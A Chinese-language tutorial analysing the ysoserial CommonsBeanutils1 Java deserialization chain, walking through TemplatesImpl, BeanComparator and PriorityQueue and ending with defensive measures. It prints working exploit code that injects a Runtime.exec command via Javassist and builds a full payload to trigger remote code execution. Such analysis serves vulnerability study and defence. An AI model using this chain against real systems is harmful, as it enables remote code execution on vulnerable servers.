java反序列化学习-ysoserial-CommonsBeanutils1
字数 2122 2025-08-10 20:57:57
Java反序列化漏洞分析:CommonsBeanutils1利用链详解
一、漏洞背景
CommonsBeanutils1是ysoserial工具中的一个利用链,主要针对Apache Commons Beanutils组件,特别是以下版本:
- commons-beanutils:commons-beanutils:1.9.2
- commons-collections:commons-collections:3.1
- commons-logging:commons-logging:1.2
该漏洞利用Java反序列化机制,通过精心构造的恶意对象链实现远程代码执行(RCE)。
二、核心组件分析
1. Apache Commons Beanutils
commons-beanutils是Apache Commons项目中的一个子项目,提供了一组操作Java Bean对象的工具类。它包含常用的Bean操作方法,如复制、填充、转换等。
Java Bean规范:
- 属性必须使用private修饰
- 为每个属性提供getter和setter方法
- 必须有无参构造函数
2. 关键类分析
BeanComparator类
org.apache.commons.beanutils.BeanComparator实现了java.util.Comparator接口,用于比较JavaBean对象。其核心方法是compare(),会通过反射调用Java Bean的getter方法获取属性值进行比较。
PropertyUtils类
提供静态方法getProperty()用于获取Java Bean对象的属性值,内部会调用对象的getter方法。
三、漏洞利用链分析
1. 利用链组成
CommonsBeanutils1利用链由三个关键部分组成:
createTemplatesImpl- 创建恶意字节码BeanComparator- 触发getter方法调用PriorityQueue- 反序列化入口点
2. 详细利用流程
(1) 创建恶意TemplatesImpl对象
Object templates = Gadgets.createTemplatesImpl(command);
createTemplatesImpl方法使用Javassist动态创建包含恶意代码的类:
- 实例化
TemplatesImpl对象 - 创建
ClassPool并添加类路径 - 获取
StubTransletPayload类的CtClass对象 - 插入恶意代码到静态初始化块
- 设置父类为
AbstractTranslet - 将生成的字节码设置到
TemplatesImpl的_bytecodes属性
关键点:
- 使用Javassist动态修改类字节码
- 恶意代码插入静态初始化块确保执行
- 设置
_bytecodes属性为恶意类字节码
(2) 构造BeanComparator
BeanComparator comparator = new BeanComparator("lowestSetBit");
初始比较属性为"lowestSetBit",后续通过反射修改为"outputProperties":
Reflections.setFieldValue(comparator, "property", "outputProperties");
(3) 构造PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
PriorityQueue反序列化流程:
- 反序列化时调用
readObject() readObject()调用heapify()heapify()调用siftDown()siftDown()调用BeanComparator.compare()compare()调用PropertyUtils.getProperty()getProperty()最终调用TemplatesImpl.getOutputProperties()
(4) 触发代码执行
当调用getOutputProperties()时:
- 调用
newTransformer() - 进而调用
getTransletInstance() - 在
getTransletInstance()中调用defineTransletClasses() - 加载并初始化恶意字节码,执行静态代码块中的命令
四、关键代码分析
1. createTemplatesImpl实现
public static Object createTemplatesImpl(String command) throws Exception {
Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
ClassPool pool = ClassPool.getDefault();
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 插入恶意代码
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// 设置关键属性
setFieldValue(templates, "_bytecodes", new byte[][] { classBytes });
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
2. 完整利用代码
public static void main(String[] args) throws Exception {
// 创建包含恶意命令的TemplatesImpl对象
final Object templates = createTemplatesImpl("calc");
// 创建比较器,初始比较属性为"lowestSetBit"
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// 创建PriorityQueue并使用比较器
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// 修改比较属性为"outputProperties"
setFieldValue(comparator, "property", "outputProperties");
// 替换队列中的元素为恶意对象
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
// 序列化和反序列化触发漏洞
byte[] serializeData = serialize(queue);
unserialize(serializeData);
}
五、防御措施
- 升级组件版本:升级commons-beanutils到最新安全版本
- 反序列化防护:
- 使用白名单验证反序列化的类
- 使用SecurityManager限制危险操作
- JVM防护:
- 设置
-Dorg.apache.commons.beanutils.BeanComparator.serializable=false - 使用Java安全管理器限制反射操作
- 设置
- 代码审计:检查项目中是否存在不安全的反序列化操作
六、总结
CommonsBeanutils1利用链通过以下关键步骤实现RCE:
- 使用Javassist创建包含恶意代码的类
- 通过TemplatesImpl加载恶意字节码
- 利用BeanComparator触发getter方法调用
- 通过PriorityQueue的反序列化过程触发整个利用链
理解这个漏洞需要对Java反序列化机制、反射机制和commons-beanutils组件有深入理解。防御此类漏洞的关键在于严格控制反序列化操作和使用最新安全版本的组件。